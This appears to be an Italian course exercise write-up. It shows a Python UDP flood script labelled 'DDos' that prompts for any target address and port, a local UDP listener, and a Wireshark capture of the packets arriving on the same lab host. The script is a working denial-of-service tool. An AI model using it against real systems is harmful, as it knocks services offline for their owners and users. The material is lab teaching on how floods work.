

Python DDos file

The screenshot shows a terminal window with two tabs open. The left tab is titled 'es1D2W3.py' and contains the following Python code:

```
1 import random, socket
2
3 print("Benvenuto nel test di DDos")
4
5 SRV_ADDR = input("Inserisci l'indirizzo target: ")
6 SRV_PORT = int(input("Inserisci la porta della porta da attaccare: "))
7
8 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
9
10 pacchetto = bytes([random.randint(0, 255) for _ in range(1024)])
11
12 npack = int(input("Quanti pacchetti da 1kb vuoi inviare?: "))
13
14 try:
15     for i in range(npack):
16         s.sendto(pacchetto,(SRV_ADDR, SRV_PORT))
17         print("Pacchetto: ", i, " inviato")
18 except:
19     print("Errore invio pacchetti")
20
21 s.close()
22
23
```

The right tab is titled 'es_socket.py'.

Socket udp in ascolto

The screenshot shows a terminal window with two tabs open. The title bar indicates the current file is 'udp_socket.py'. The left tab is titled 'es1D2W3.py' and contains the same code as the previous screenshot. The right tab is titled 'es_socket.py' and contains the following Python code:

```
1 import socket
2
3 SRV_ADDR = "192.168.32.100"
4 SRV_PORT = 44444
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
7 s.bind((SRV_ADDR, SRV_PORT))
8
9
10 print("Server Started! Waiting for connection to port 44444 ... ")
11
12 while 1:
13     try:
14         data, addr = s.recvfrom(1024)
15         print(data, " received from: ", addr)
16     except socket.error as e:
17         error = e
18
19
```


Test wireshark

No.	Time	Source	Destination	Protocol	Length	Info
13	0.001855659	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
14	0.001867698	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
15	0.001875008	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
16	0.001881351	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
17	0.001887640	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
18	0.001894119	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
19	0.001900206	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
20	0.002008144	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
21	0.002020461	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
22	0.002029172	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
23	0.002036073	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
24	0.002043434	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
25	0.002049744	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
26	0.002056253	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
27	0.002062662	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
28	0.002069149	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
29	0.002075674	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
30	0.002081987	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
31	0.002088611	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
32	0.002095514	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
33	0.002102081	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
34	0.002108772	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
35	0.002829320	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
36	0.002842395	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
37	0.002846849	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
38	0.002850668	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
39	0.002854298	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
40	0.002858127	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
41	0.002861686	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
42	0.002865131	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
43	0.002868702	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
44	0.002872174	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
45	0.002875590	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
46	0.002879114	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
47	0.002882711	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
48	0.002886523	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
49	0.002890136	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024
50	0.002895170	192.168.32.100	192.168.32.100	UDP	1068	42943 → 44444 Len=1024